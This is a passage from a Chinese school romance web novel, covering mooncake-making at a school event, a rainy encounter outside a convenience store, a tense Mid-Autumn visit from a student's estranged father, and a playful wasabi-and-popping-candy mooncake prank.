“不了,”应琮双手交叉,似笑非笑,“我怕你会不小心把水倒在我的手上。”
“什么?!”
因为是公共场所,盛逸的声音放得比较轻,但语气夸张,听在耳朵里颇有一种哄孩子的感觉,“你怎么用这么坏的心思揣测别人啊!”
“那你和。”
应琮摊开手,一副请君入瓮的模样。
“不,”盛逸微笑拒绝,“我怕你也会做这样的事。”
“那没办法了,”应琮耸耸肩,“给学姐的中秋礼物,做不了了。”
“你到时就端着这盆面粉交给她,祝她高考顺利咯。”
“喂……”盛逸听出她语气里的嘲讽,无语地指了指桌边的筷子筒。
“我们就不能拿一根筷子来搅拌吗?”等面粉都结块之后,再上手来和。
“好聪明,”应琮歪着头,笑眯眯地看着他,“我还以为你想不到呢。”
“切,”盛逸伸手从她旁边绕过,拿了根筷子,“少装了,你明明也没想到。”
应琮不置可否,看着他用“引流法”一点点把水倒入碗中,不禁有些想笑。
“如果化学老师在的话,一定很欣慰。”她评价道。
“什么?”盛逸一扭头,不小心把水全倒了进去。
肉眼可见的,碗里的东西变得很稀,像是融化的水泥一般。
不用想,这样肯定是和不成团了。
无奈,应琮又去隔壁借了半杯粉,一股脑倒了进去。
“应该可以了吧?”她看着碗里的东西,犹豫开口。
看也看不出个所以然,盛逸索性直接将手插在这堆黏糊糊的东西中,开始吃力地搅拌起来。
看他手心手背全被糊得严严实实,应琮赶紧又借了点粉。
本来他们这碗就比别人用的材料多,现在为了和面团,又至少多倒进去80克的粉。
应琮有些头大。
“你能不能帮我把手上粘着的东西都刮下来?”盛逸道。
他现在两只手都黏黏的,像是抓了一只不安分的史莱姆在手上。
而且因为是开水和面的原因,这些东西还带了些许温热,有点令人反感。
“用刀刮吗?那我去找师傅借一把。”
“最毒应琮心。”盛逸瞪她一眼,“当然是用旁边的筷子!”
“喏,帮帮我吧。”
见她已经拿起筷子,盛逸向前伸出两只手,悠闲地晃晃。
“你是大爷啊?”
应琮瞥他一眼,一把抓住他的胳膊,用力用筷子在手上一刮。
她才不是丫鬟小厮。
“哎哟,”盛逸被她弄得有点痛,想要抽回手来,“谁让你不和面的,那不得你来帮我?”
“我现在不是正在帮你吗。”
应琮努力固定住他的胳膊,不许他乱跑,手上的力道一点没减。
这太坏了!
盛逸忍着痛,俊脸涨得通红。
19. 第 19 章
听到他们传来的声音,宣传队长丁一锐特意扛着相机过来准备拍点素材。
毕竟他们这组别的不说,长得不错,非常很适合在公众号撑门面。
“你们两个……”
然而丁一锐认真端详碗里的东西后,半天才憋出来几个字,语气怪异。
这是什么鬼啊?!不知道的人看了还以为他们豁楞的是水泥。
“怎么,嫌弃我们做得不好?”
盛逸好不容易弄干净自己手上粘的面团,决定先把碗里的东西放置一会儿,再继续和。
“确实是有点嫌弃。”
丁一锐深以为然地点点头,调转相机的方向,头也不回地走了。
“不识货!”盛逸被他决绝的背影震惊到了,回头又拎起配方纸钻研,嘴上不忘嘟哝,“莫笑农家面粉混,等下惊艳所有人。”
“每个人拿到的配方不是一样的吗?”应琮在旁边泼冷水。
“配方一样,做出来的东西就会都一样吗?”
盛逸并不认可她的态度,“每个人投入的用心程度多少,是能够体现出来的。这才是料理的奥秘。”
不知道的人还以为他出演少女漫。
“好好好,你辛苦了。”
应琮用一根筷子戳戳碗里未成形的东西,嘴上敷衍道。
“还粘吗?”
盛逸忽然弯下腰,凑到旁边看去。
突然一张脸凑在面前。
连彼此之间的呼吸都能听见。
气氛有些不对,应琮浑身僵硬了一瞬间。
离得太近了。
她装作累了,站直身子活动活动,又不动声色地往旁边挪了挪,将筷子放在另一个碗里。
“应该可以直接上手了。”她转开视线,不自然道。
“你可别骗我,不然等下我的手又被粘住了。”
话是这样说,但盛逸直接将自己双手伸进碗中,努力将其和成一团。
该说不说,他并不是全然与料理无缘,之前还不听话的糨糊,在他的手下,居然真的一点点变成洁白湿润的面团。
“你想试试吗?”
感受到应琮的眼神经常看向自己的手,盛逸了然地笑笑,揪起一块面团递给她。
反正碗里的面团太多,自己和得也有点累。
不如让她也累一累好了。
“……这个任务是要两个人一起完成的,我不参与等下被说没有团队合作精神了。”
应琮别扭地为自己找着借口,手却诚实地伸了过去。
“你是不是应该先洗一个手呢,大小姐?”
盛逸又故意收回面团,逗道,并没有戳穿她蹩脚的话术,厨师在另一个角落,哪有人注意他俩?
出乎意料的,应琮并没有恼羞成怒,反倒真的往洗手台走去。
什么时候这么听话了?
盛逸一朝没挨骂,还挺不习惯,只能默默地将分出来的面团放在另一个空碗中。
*
洗完手回来的应琮,站在桌子的另一边开始和面。
两个人各干各的事情,难得平静和谐。
“让我来看看你们的成果吧!”
大忙人程依依终于走了过来。
看到二人依然在忙活手上的面团,她不免有些吃惊,“你们只打算做纯白色的月饼吗?”
“难道还有其他颜色?”应琮反问道。
“你们两个!”程依依的语气骤变,“刚刚完全就是没有认真听我和钱师傅的话嘛!”
刚刚?
应琮和盛逸对视一眼,他俩光顾着应付碗里那团黏糊糊的“史莱姆”了,哪里还顾得上听教学。
“前面的桌子上有准备好的果蔬粉或食用色素。”
程依依又看看两个人手下已经成型的面团,补充道,“你们现在加入果蔬粉是无力回天了,但是食用色素应该还是可以的。”
“滴一滴就可以了吧。”应琮回想妈妈平时在家里做点心的样子。
“看你想要深色还是浅色咯。”
程依依背起手,悠哉游哉地往其他地方溜达,“我再去别人那里看看,等下再来找你们。”
“你要做什么颜色的月饼?”
沉默片刻,盛逸主动开口问道。
“……粉色?”应琮犹豫道。
毕竟黄色的月饼有点太无聊,而蓝色更是令人毫无食欲,粉色倒像是经常会看到的月饼颜色。
学校提供的食用色素就这么几种颜色,强求不来。
盛逸点点头,将面团放在桌子上,开始揉搓成条。
看着他的动作,应琮有点摸不着头脑了。
恰好这时,盛逸抬头看到她依然站在桌边,奇怪道,“你不去前面调颜色吗?”
“你不去?”应琮拿起自己装着面团的碗,同样一脸疑问。
“我不去啊,我就要做白色的。”盛逸理所应当道。
终于反应过来她的潜台词,他看向应琮,惊讶道:
“难道你刚刚在等我去给你拿色素吗?”
刚巧丁一锐听到声音、扛着相机就要过来。
应琮吓得赶紧往前走,恨不得马上离他远远的。
自己就不应该多嘴问那一句!
*
度过了艰难的第一关,剩下的步骤就变得简单很多。
只需要将馅料包在面皮里,再放进雕花刻字的模具里压成型,一个冰皮月饼就做好了。
“你别包那么多馅儿了,等下会漏的。”
见他毫不客气地挖了一大团豆沙,应琮实在忍不住了,连忙出声阻止。
没做过月饼,难道平时在家都没包过饺子吗?
“苦心人天不负,三千越甲可吞吴,我相信我可以的。”
盛逸只是象征性地去掉了一点豆沙,又将馅料放在面皮上。
明明是贪心不足蛇吞象。
既然对方如此执拗,应琮也没有继续开口相劝,专注地包自己手上的月饼。
果不其然,盛逸包着包着,总有一些地方不知不觉地破开,不得不用其他的皮贴在外面。
拆东墙补西墙,不停补的结果就是,他手上的月饼团变大了许多,完全无法放进模具中。
而准备的面皮也因用作“补丁”而所剩无几。
“这下好了,中秋节送个包子。”应琮看热闹不嫌事大,在旁边幸灾乐祸。
“包子就包子,”盛逸并不在意,小心翼翼地将它放在桌上,“大不了就不送了,用你的来送。”
他看着应琮面前精致小巧的粉色月饼,笑眯眯道,“反正你包的比我漂亮一万倍,送的出手。”
自己的就拿来自留,当下午放学的点心一口吃了。
盛逸这家伙老是这样,夸人的时候像从来没有隔阂,应琮听在耳朵里多少有些微妙。
哪怕是她也不能每次都伸手打笑脸人吧?
应琮将脱模的月饼小心翼翼地放在包装盒里,拍掉手上沾着的粉末。
“既然我已经出力做了月饼,那送给学姐的贺卡,就你来写吧。”
她轻轻嗅了一口,是甜香的。
可惜不能带给妈妈尝尝,第一次做吃的呢。
“好吧好吧。”
盛逸答应的很是爽快,应琮不由得瞥他一眼。
“看什么?”盛逸十分敏锐,“你觉得我连张贺卡都不会写?”
应琮没说话,沉默代表了一切态度。
“太小瞧人了,”盛逸咬牙切齿,忍了又忍,还是忍不住
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辩解道,“我可是上学期期末考试的语文前十。”
还真让她把人看扁了。
“哦,”应琮点点头,“班排的还是自封的?”
“你!”
如果不是因为场合不对,盛逸都想要去办公室找之前教过自己的语文老师,来和她对簿公堂。
从来不喜欢爹妈对外炫耀自己的盛逸,人生第一次想要展示成绩单。
“他们要来拍照了,别呲牙咧嘴的。”
看着带着相机过来的丁一锐,应琮面上微微一笑,笑得人畜无害。
她当然知道盛逸说的是真的了,不过就是故意反驳而已。
没想到还真的急了。
跟狗一样。
“哟,没想到你们做得还挺像样的嘛!”
看到桌上摆着的四个粉红小月饼,丁一锐挑眉惊讶。
盛逸和应琮在镜头面前不约而同地皮笑肉不笑,对这个摄影师会不会恶意报复拍黑图根本没把握。
盛逸从牙缝里挤出:“谁让你狗眼看人低?”
“但是为什么少了两个?”
丁一锐对着月饼“咔咔”一顿拍,“你俩不会这么贪吃吧?”
“这是造谣!”
应琮的笑容瞬间消失。
“明明是他把面皮都给用光了,所以才包不了剩下的。”她指着罪魁祸首告状。
“那没办法了。”丁一锐掏掏口袋,拿出来两个已经包装好的月饼,摆在桌上。
“……?”
“本来钱师傅示范时做的两个,我自己偷偷拿了打算当零食的。现在只好贡献出来给你们了。”
丁一锐颇为心疼地看着那两个小月饼,目光依依不舍。
忙活了一下午,又闻着食堂里萦绕不绝的甜香,他是真有点饿。
但没办法,大家准备的礼物都是每六个月饼放成一盒,不可能唯独让盛逸他们负责的学姐少两块月饼。
宁可饥肠辘辘,不可让学姐学长失落。
“谢了,”盛逸将自己做好的“冰皮包子”递过去,“就当是一换二了。”
“你这包的,甚是‘雄伟’啊。”
看着面前堪比拳头大的包子,丁一锐忍不住笑了。
“拿着就是了。”盛逸随便拿了个塑料袋装住,塞给他。
“等等,我给你们拍张!”
差点耽误正事的丁一锐一个急转弯,回到桌前。
“能不能不拍人?”应琮问道。
她有点不太想和盛逸同框。
“不行不行,大家都露脸了。”丁一锐摇摇头,嘴上调侃道,“你还怕自己不上镜吗?”
看来即使是校花级别的也会容貌焦虑。
“别嘴贫,”盛逸皱眉,又回头低声对应琮,“没事,我们是最后一组,拍完就可以结束了。”
闻言,应琮简单整理了一下自己的衣角,双手背在身后。
而旁边的盛逸也是同款站姿,两个人之间仿佛隔着银河,不可逾越。
“你们要不手上拿个月饼?”
丁一锐看看自己刚刚拍的照片,有些不满意。
“不用了吧……”
应琮没想到一个简单的活动照片,竟然半天都没有拍完。
又不是拍写真,拿什么道具。
“你一定要拿!”
丁一锐扭头看着她,语气强硬。
“因为就你的表情和动作最僵硬,不知道的还以为是抠图上去的。”
一旁的盛逸没忍住,噗嗤笑出了声。
笑屁笑,应琮在下面暗踩他一脚。
“来,看我这里,千万不要眨眼!”
见二人终于没那么僵硬了,丁一锐赶紧道。
快门声响,定格下二人。
20. 第 20 章
做月饼的事情,不过是学习生活当中的一个调味剂。
秋分过后,阳光都薄了些许,落叶打着旋儿扑进窗台。
盛逸这几天的爱好是每天早上来学校都捎来一枝桂花,塞在窗边、笔筒、和两人的桌缝里。
虽然桂花香很好闻,但应琮不愿意承认,依旧批判他破坏公物。
结果盛逸也振振有词,此花是他从自己家摘的,根本没有惹到任何人。
应琮脸颊鼓了又鼓,憋了半天转而说他残害生灵。
结果连续两天,应琮在食堂吃饭时,都能被盛逸以“万物有灵”为由强行夹走盘子里的排骨。
连程依依闻言都无奈扶额。
*
好不容易彼此消停两天,便来到了放假前的最后一个上学日。
虽然才下午五点出头,但天空一片灰暗,云层黑压压地往下坠,眼看就要下一场大雨。
正值放学时间,住宿的学生们或拉箱子或背包,迫不期待地走出来。
几乎是刚走出校门,头顶便落下淅淅沥沥的雨点,冷不丁被打到还有些疼。
“为什么每次放假都会下雨呢?”
好不容易才从人群中找到好友,应琮挽着她的胳膊,两个人挤在同一把伞下。
“因为老天奶也羡慕得掉眼泪了。”程依依嘻嘻一笑。
终于等到中秋放假,她总算可以好好在家里睡大觉了。
“如果是因为放假就掉泪,那咱天奶有点太感性了。”
见雨有越下越大之势,应琮赶紧将自己的头发往里面搂了搂。
现在时间还早,她俩倒是不如久未归家的住宿生那样心急,程依依指着前方不远处提议去躲躲雨。
两个人挤在一把伞下,虽然并不拥挤,但被风吹着,雨水几乎都打在她们脸上了。
如果这样的话,她俩走不了几步,就要被淋湿。
淋湿事小,万一不小心感冒了,好好的假期只能躺在床上养病了。
程依依的担忧不无道理,应琮认同地点点头,两个人快步往便利店走去。
或许是因为其他同学拖着沉重的行李,又或是大家都不如她俩有这等巧思,在店里躲雨的人并不多。
“来都来了,”程依依将沥水的雨伞靠在门边的架子上,“咱们买点东西,一边吃一边等雨变小吧。”
也不知为何,明明都是很普通的东西,但放在这样的场合里,就格外吸引人。
校外、放假、雨天。
此刻在锅里咕嘟嘟冒泡的关东煮、蒸笼上的各式包点以及烤肠机上泛着油光的烤肠……简直就是诱人犯罪。
两个人凑在柜台前,叽叽咕咕挑选了半天,最后一人心满意足地捧着一杯关东煮,方才作罢。
“看着雨一时半会停不下来呢。”程依依感慨道。
站在屋檐下,看雨水密密地斜织着,莫名有种闲适的感觉。
“如果吃完了雨还没有停,我看我还是在这里直接买一把伞好了。”应琮说着,关东煮氤氲而上的白气模糊了她的视线。
每次带伞的时候都不下雨,一不带伞,偏偏就会下大雨。
她的运气也是没谁了。
应琮嘴里嚼着豆制品,低头看着雨水砸在台阶上溅起的水花。
忽然,她感觉自己的胳膊被人轻轻推了推。
“在你左手边的方向,有个没带伞的小帅哥正在向我们这里走来。”程依依压低声音,神神秘秘道。
下意识地,应琮转头想要立即看过去,收获好友的狠狠肘击。
“你疯啦?”程依依恨铁不成钢,“怎么能看得那么明显。”
作为八卦界女王,她都已经和应琮这样的新鸟说过很多次了,如果在路上偶遇长得帅的,一定要假装撩头发,不经意地瞥过去。
如果想和对方交朋友的话,还可以顺便用柔顺的发丝展现自己不俗的气质。
这么直挺挺地转头,不仅很呆,还容易在即刻就被发现。
程依依撩起自己耳边的头发,再次看过去。
眼前的男生穿着考究,白衬衫上还规规矩矩地打着领带,像是准备去参加一场宴会。
即使淋了雨,却也没有磨损他清俊的气质分毫。
因为无处可躲,他同样来到屋檐下。
见自己长而卷的头发被雨打湿,少年薄唇微抿,无奈地伸手抖了抖头发。
“长得真挺帅的,”程依依按耐住心里的激动,小声和好友耳语,“他好像看过来了。”
应琮瞥去,男生的打扮竟有几分眼熟。
倒像是她初中那所贵族高中的校服。
但应琮不认识这个男生。
她收回自己的视线,继续专注于杯子里的关东煮。
“他好像一直在盯着我们,”程依依凑过来,“该不会……是要过来搭讪吧?”
雨后,来自便利店的邂逅。
想想还有几分浪漫呢。
“别自作多情了。”应琮悄声。
自己每次看去,都和对方刚好错开视线,人家怎么可能一直看着她们。
“不是错觉呀!”
程依依又戳戳她,语气里隐隐有些激动,“我和他对视了。”
应琮无奈,反手推她,“那你过去搭讪吧。”
“那个……”程依依只是犹豫几秒后,便大大方方地冲隔壁开口道,“这位同学,你也在这里避雨啊?”
说的是多么显而易见的事情,还真是拙劣的交友话术啊……
应琮偷偷扶额,颇有种替人尴尬的感觉。
男生的表情像是愣了半秒,而后点点头,竟是朝着她们又走近几步。
“请问,你们吃的是什么东西?”他垂眸似乎看向应琮的方向,声音清润。
“关东煮。”应琮指了指身后,没什么表情。
感觉这人有点笨,明明大家都在便利店门口的屋檐下避雨,吃的当然是店里的食物了。
“多谢。”
得到答案后,男生点点头,从她旁边擦肩而过。
一股香味残留在空气中,应琮摸摸鼻子,若有所思。
怎么感觉有点熟悉呢?
像是闻过的味道。
但她确信自己没有见过对方,因为这种程度的颜值,没道理见过而毫无印象。
“你说我应该管他要个联系方式吗?”
程依依转过去脸,看着对方已经进店的背影,多少有些遗憾。
感觉自己像是crush了。
“想要就要吧。”应琮对此不感兴趣,神情淡然。
等等!
她猛地转头盯着好友的脸,坚定支持道,“你进去要吧!”
如此一来,转移了依依的注意力,她应该就不会继续喜欢盛逸那个不靠谱的人了吧。
那这个联系方式,必须得要啊!
“欸?”程依依没想到她的态度在瞬息间就发生一百八十度大转弯,“那我真去要了?”
应琮点点头,“记得顺便帮我买把伞。”
……
程依依进店后,她一个人在屋檐下等了半天,都没等到对方出来,不免心生奇怪。
透过玻璃门,应琮悄悄看去,收银台前站着两个熟悉的身影似乎在交谈。
看样子应该快出来了。
她若无其事地转回去,看着雨水滴落。
“他没给。”
程依依从背后
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轻轻搂住她,瘪着嘴巴。
“没事,反正也不是一个学校的,以后遇不到。”应琮安慰道,“我们这个年纪还是应该把心思放在学习上……”
不论是那个陌生男生还是花心男盛逸,最好都不要沾上她俩。
“你怎么知道?”
程依依完全忽视了她后半句话,对她笃定的语气表示奇怪。
“看着有点像cosplay衣服,不会是社会青年吧?”
“他穿的是繁星国际高中的校服,”应琮挑挑眉,“离这里有点距离。”
这是初高中一贯制的私立学校,她以前“有幸”在那个学校的初中部,度过了不算太快乐的三年。
“听起来就像是贵族高中……”程依依的声音低了下来,“还真是有点羡慕呢。”
“有什么好羡慕的!”
应琮少见她无精打采的样子,语气里略有几分不满,“就算是少爷,还不是巴巴地眼馋着我们学校附近的关东煮。”
私立学校和公立学校的学生,除了每学年交的学费价格不同外,基本没什么区别。
——更没有什么高低之分。
“对了,”程依依将手上的东西递给她,“伞给你。”
“多少钱?”
应琮接过伞,顺便把自己吃剩下来的纸杯丢进垃圾桶。
“唔……”面对她的问题,程依依犹豫了,一副不知道该怎么开口的样子。
依依很少有哑口无言的时候,应琮面上露出疑惑。
“怎么了?”
“伞是那个男生付的钱啦。他说不能把联系方式给我很抱歉,所以……”程依依挠挠脖颈。
她也是第一次遇到这种情况,所以糊里糊涂的,就让对方一起付了。
“……没事,这点钱应该对他而言无足轻重。要是下次有缘见到就再还给他。”
应琮将伞撑开,率先往前走一步。
“好啦,我们回家吧。”
被阻隔开的雨水在伞边溅起小水花,像是缀上一层透明的珠帘。
*
“妈妈,你在忙什么呢?”
回到家里,应琮发现应雨柔坐在客厅的桌边,眉头紧锁。
发生什么事了吗?
“没什么,”应雨柔抬手按按眉心,“妈妈在算账。”
应琮放下包,好奇地凑了过去。
桌上散乱着一些文件,甚至还有两张应雨柔用来打草稿的演算纸,上面密密麻麻列着许多数字。
“这是……店里的账目?”
应琮打眼一看,单笔这么大的开销,绝对不是日常家里的生活收支。
应雨柔点点头,放下手机,挤出一个笑容来,有些脆弱。
看到她这个样子,应琮安慰地拍拍妈妈肩膀,“如果真的入不敷出的话,不如把店卖了吧。”
就算不做生意,她们的生活也不会变得更糟糕。
减少沉没成本最好的方法就是及时止损。
感受着女儿传递出来的温度和态度,应雨柔沉默了半晌。
她离婚后最重要的人就是应琮,当然很重视她的话。
把店卖了的话……无疑的,也算是一种方法。
“好了好了,”应雨柔重新恢复精神,推开女儿,“你身上都是水,还是快去洗澡吧。”
“妈妈……”
应琮看着她,依然有些担心。
“别怕,”应雨柔眨眨眼睛,起身收拢桌上散乱的东西,“妈妈会有办法的。”
将店铺转让也好,重新换个生意再战也罢,都不需要她的宝贝来操心。
不过……应雨柔轻叹一声。
自己到时还是先做个调研比较好。
21. 第 21 章
中秋夜。
裴少言盯着防盗门猫眼外,那张与自己眉眼相似的脸,手指在门把上停留了十秒钟,直到楼道声控灯熄灭。
“中秋节,老裴来送温暖了。”
熟悉的老人味十足的玩笑,同时尾音带着不容拒绝的力度。
裴少言闭眼三秒,还是打开了大门。
这男人依旧穿着笔挺的行政夹克,腋下公文包在这个单元楼里泛着格格不入的哑光。
裴少言注意到他皮鞋侧边沾着泥点,这说明司机把车停在了小区门口——就像半年前家长会时那样,他虽然执意参加,却宁愿步行穿过一条没修好的路也不愿意让司机和车出现在学校教职工视线里。
他一贯是谨慎的。
“这个小区安保还可以,”男人手上提着一盒印着单位LOGO的月饼,和气道,“上次竞赛成绩如何?”
裴少言垂下眼眸,他在学校的事情,这个人若是想知道,根本无需等到上门来问询。
“怎么?中秋节要让你的父亲吃闭门羹吗?池家给你教的好规矩啊。”
裴少言闻言,莫名轻笑一声。
果然,这个人的“和善”压根撑不住三句话。
尤其是在他所谓的“家人”面前,似乎尤其懒得掩饰。
他稍微侧过身子,男人却又不急着进门了。
“生活费15号会准时到账。”
男人从口袋抽出一个信封,拿在手上把玩,“倒是你母亲忌日,池家今年连束白菊都没送。”
他忽然俯身整理儿子歪斜的衣领,檀香混着龙井茶气拂过少年颤抖的睫毛。
“外婆走了之后,池家剩的只有我。”
裴少言知道,男人指的是那个代表着更多利益的池家。
但在他自己心目中,外公、外婆、妈妈,才是真正的家,他甚至不知道自己有没有资格进入其中。
但是在这个最注重所谓“传承”的男人面前,裴少言更厌恶被划入对方的“阵营”。
空气突然凝固一瞬,那个血缘上属于他父亲的男人将信封捏紧一分,却似乎又忍下了怒气:“我之前在一次座谈会和高校招生办谈过,这次竞赛好好准备,保送的机会还是很大的……”
裴少言打断他的话:“我的高考志愿是我自己的事情。”
目光触及他手上的信封,似乎猜到了是什么,裴少言并没有接过的意思。
原来这才是他此行的目的。
男人的耐性似乎到此为止,他想要像之前一样,对着自己尚未成年的儿子用身高压迫,却发现他已经和自己差不多高。
而且……对方还拥有自己已经失去的年轻与力气。
“你还是得记住,”男人想要改为扫拂他的肩膀,语气透着冷,“你姓裴,爸也只有你一个儿子,我为你做的选择才是最好的。”
裴少言在他的手伸过来一瞬间,就用力抓住,制止他接下来的动作。
两个人肌肉绷紧,一瞬间气氛剑拔弩张。
——“放开他!”
楼道突然传来少女清脆的声音。
裴父瞬间松开手,还不忘整整自己的衣衫,十分注重个人形象。
“你们要打架吗?”
应琮三步做两步冲过来,刚刚远远在楼下看着,还以为要发生什么暴力事件。
“小姑娘,”见她只是和儿子一般年纪的女孩,裴父面上笑得和蔼可亲,“叔叔只是在教育自己的儿子。”
“教育?”
应琮皮笑肉不笑,语气讽刺,“裴叔叔,现在是21世纪,教育哪里需要动手了?”
别以为她不知道,自从裴奶奶去世后,裴少言一直都是自己住在这里。
什么臭爹,裴少言受伤的时候都没出现过,现在还好意思提教育孩子。
而且看两人之间的氛围,他出现还不如直接消失。
似乎没经历过接二连三在小辈这里吃瘪,尤其对象还是儿子和一个小姑娘,裴父脸上的表情瞬间僵硬,笑容都几乎维持不了。
“叔叔,”应琮拉住裴少言的手,表情冷淡,“你还要继续留在这里吗?我妈妈邀请了裴少言要来我家过节的。”
被她猛地拉住,少年的面上闪过一瞬间的错愕。
他滞了一瞬,还是忍住不去看她的脸。
“你家?”裴父上下打量着她。
在看到二人交握的双手时,他兀地面上露出笑容。
“平时多谢你们家对犬子的照顾,”裴父从口袋里掏出一张卡递过去,“这是他的生活费。回头我会在里面多打一笔钱,让他转给你们,就当是一点心意。”
“另外,”他的语气忽然变得有些耐人寻味,“你们现在还小,应该把重心放在学习……”
“够了!”
裴少言夺过他手上的卡,眼神中透出寒锋般的锐利。
“你可以走了。”
男生和女生站立一起,像是同仇敌忾的统一战线。
裴父收好信封,将月饼放在门边,真的就这么转身而去,甚至头也没有回。
“呃,刚刚我……”
见裴父的身影消失在视野中,应琮连忙松开自己的手。
刚刚她也是情急之下,看到裴少言父子之间关系剑拔弩张,一时乱了分寸。
谁能想到,自己就下楼丢个垃圾回家,还能看到一出亲情伦理剧。
“没事,我知道你是为了解围。”
裴少言露出个微笑,看起来却不像没事的样子。
“那个……”应琮犹豫片刻,还是开口叫住他,“要不,你就来我家过节吧。”
好歹是个团圆的节日,让裴少言一个人孤苦伶仃地呆在家里,想想就觉得有点可怜。
见对方沉默不语,她又解释道,“我妈妈说今年要自己做月饼,我们家正缺少帮手呢。”
应琮抬眸看看他,长睫忽闪忽闪,语气是平时少有的俏皮。
“赏个脸,帮帮忙呗?”
*
为了更好地动手制作月饼,应雨柔特意把桌面包了厚厚一层的保鲜膜,又按照专业食谱上的说明,做了满满两大盆的馅料以及一大块酥皮面团。
“妈妈,”看着面前琳琅满目的食材和工具,应琮忽觉有些无从下手,“你觉不觉得准备的东西太多了?”
“多吗?”应雨柔歪着脑袋看看,“可是冰箱里还有我做好的另外一种面团呢。”
“我们这里就三个人,呃,外加一猫一狗。”
应琮环顾四周,颇为无奈,“做那么多月饼,到时候肯定吃不完。”
“那就给你和少言拿来当早餐和点心吃咯。”
某人完全不在意,转身走去冰箱前。
“不!不要!”
应琮毫不犹豫地拒绝。
她是坚决不会连续许多天都重复吃同一类食物的。
“那……”女儿拒绝得实在太过干脆,应雨柔只好重新想办法。
“那我待会去买包装盒,多的就拿去送人?”她看向桌边排排坐的两个孩子。
“比如说,带给你们班的同学尝尝,或者是老师也可以。”
“送给老师……”应琮转转眼珠,小声自言自语道,“这算不算贿赂啊?”
据说现在管得很严呢,到
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时候自己是贿赂班主任,还是贿赂语文老师呢?
在旁边的裴少言显然听到了,低低笑了一声,惹得咪咪多看了几眼。
“什么?”
应雨柔听得不太真切,投来疑问的眼神。
“没什么,”应琮连连摆手,起身去洗手,“我说我来帮忙。”
因为吃腻了市面上月饼的惯常口味,应雨柔今年特意准备了两种罕见到近乎变态的馅料——鱼肉蓉,以及混合了咖啡粉的奶黄馅。
这已经不是单纯的咸甜之争那么简单了,看着碗里的馅料,应琮莫名有些紧张。
如果她给朋友们吃这些东西……应该不算是用黑暗料理故意“谋害”吧。
“左边的是酥皮,右边的是冰皮,”应雨柔将两块颜色不同的面团放在案板上,“你们想包哪种就包哪种。”
裴少言点点头,抬手自然地拿起擀面杖,准备制作饼皮。
“我在这边擀,你来包吧。”他轻声对应琮道。
包月饼嘛,应琮前几天才刚动手包过,对各个步骤无比熟悉。
两个人虽然话不多,可动作间却不失默契,甚至比另一边的应雨柔包得快上许多。
“幸好有你俩,替我省了不少力气!”
看看桌面上成型的月饼们,应雨柔丝毫不吝于对孩子们的夸赞,“那我先去烤箱把这一盘烤出来。”
见妈妈不在桌前,应琮捏着手上的饼皮,计上心来。
她悄悄起身,刻意避开厨房里应雨柔的视线。
“你要干嘛?”裴少言奇怪道。
好端端地,这是做什么。
“我觉得馅料里少了点什么。”
应琮的话语里遮遮掩掩,似是而非的,让人听了云里雾里。
无奈,裴少言只好独自坐在原位切剂子。
打开冰箱,应琮神神秘秘地从里面拿了什么,又神不知鬼不觉地回到自己的位置上。
既然做了月饼要送给朋友吃,那何不偷偷往里面藏点“小惊喜”?
她挖起一块馅料放在饼皮上,却不着急将其包起来,反倒是将口袋里的东西拿出来。
“这是……糖?”
看到桌面上色彩斑斓的包装袋,裴少言更是摸不着头脑。
面对他的疑问,应琮无暇理会。
她小心翼翼地将跳跳糖撕开,均匀地洒在饼皮上的馅料表面,然后又精心将其包起来,放在模具里塑形。
光是想到盛逸吃了之后,跳跳糖冷不丁地在他嘴里噼里啪啦乱蹦跶的场面,应琮就忍不住笑。
最好是让他在上课时候偷吃,再被老师抓个正着。
光是跳跳糖月饼还不过瘾,应琮又挖了一勺鱼肉蓉,毫不客气地放在已经涂着芥末的饼皮上,又制作出一个辣根味的月饼。
一甜一咸升级版,看来她还是完美继承了她妈的厨艺天赋。
看着面前的两个月饼,应琮忍不住又笑了一声。
“应琮?”
裴少言再次开口,虽然用的是问句,但语气平静。
“哦,没什么。”
回过神的应琮摆摆手,低头用牙签在两个加了料的月饼表面做记号,“这两个是要专门送给我同桌吃的。”
“你同桌?”裴少言微微蹙眉,“是盛逸吗?”
应琮点点头,“就是上次帮忙的那位。”
“你们……”
不知是想起了什么,裴少言的声音落在空气里,有些听不真切。
“什么?”
应琮扭脸看去。
“没什么,我们继续吧。”
他摇了摇头。
22. 第 22 章
晨光一点点漫过窗台边的小型绿萝,向远处延申。
刚刚结束假期,校园里依然残存着轻松愉快的气氛,冲淡了些许月考来临前的紧张与压抑。
应琮提着精致的烫金礼盒,迈入教室的脚步都比以往来的轻快。
“给你。”
趁着课间,应琮从袋中的夹层里拿出两袋塑封好的月饼,放在盛逸桌上。
“这什么?”
盛逸低头看了一眼,语气里充满意外,“你还会送礼物给我?”
太阳从西边升起了?
虽然嘴上这么说,但他倒是很诚实地将其拿在手上端详。
三无产品啊。
应琮看他表情就知道心里没说好话,轻扯嘴角,轻描淡写道,“昨天家里做多了,所以带过来给你们尝尝。”最好不要不识好歹。
她又从袋中拿了一袋,转身递给后座的杨乐。
为了以防杨乐借题发挥,应琮特意多带了一份,为的就是证明她只是平等地对外散发友好,不是对盛逸特别优待。
“多谢。”
杨乐点点头,兴许是饿了,迅速拆下包装开吃。
“嚯,还是咸味的。”
盛逸的动作比他快多了,像没吃过早饭一样。
应琮本人不爱吃月饼,所以她做的月饼都不大,两三口就全进了盛逸的嘴里。
他的脸顿时变得鼓鼓囊囊的,像是一只肥硕的仓鼠。
始作俑者不动声色地瞥过去,暗自期待着他的反应。
她昨天一点都没手软,咸味的月饼里,可是足足放了三分之一管的芥末。
保证让他辣得火冒三丈、浑身通气。
“手艺不错啊!”
盛逸嚼完,还不忘伸手比了个大拇指,笑得心满意足。
“同桌,没想到你对我这么好,实话实说,吃下去之前我还担心了一瞬。生怕你会往月饼里‘投毒’,看来还是我小人之心啊!失敬失敬……”
???
应琮诧异地转头看去,脸上的表情全然暴露了她复杂的内心。她又惊又疑,试图分辨对方脸上的笑容是真心的,还是强装镇定在演戏。
从盛逸嘴角的弧度,舒展的浓眉,再到放松无紧绷的面部肌肉……怎么看,都像是吃美了露出来的笑容。
应琮暗暗咬住自己口腔内的软肉,心里莫名有些不安。
难道芥末在烤箱里的高温下,还能失活变性?
而旁边的盛逸,已然将另一块月饼也塞入嘴中。
“你感觉……味道怎么样?”应琮假装关心道。
“唔……”盛逸的表情没什么波动,但似乎是尝出来什么,眉毛忽地蹙起。
观察到他神色的变化,应琮的双眸不禁微微睁大,呼吸也不由得轻了些。
冰皮月饼包好后只需要简单放在冰箱里冷藏,跳跳糖总不至于也失活吧。
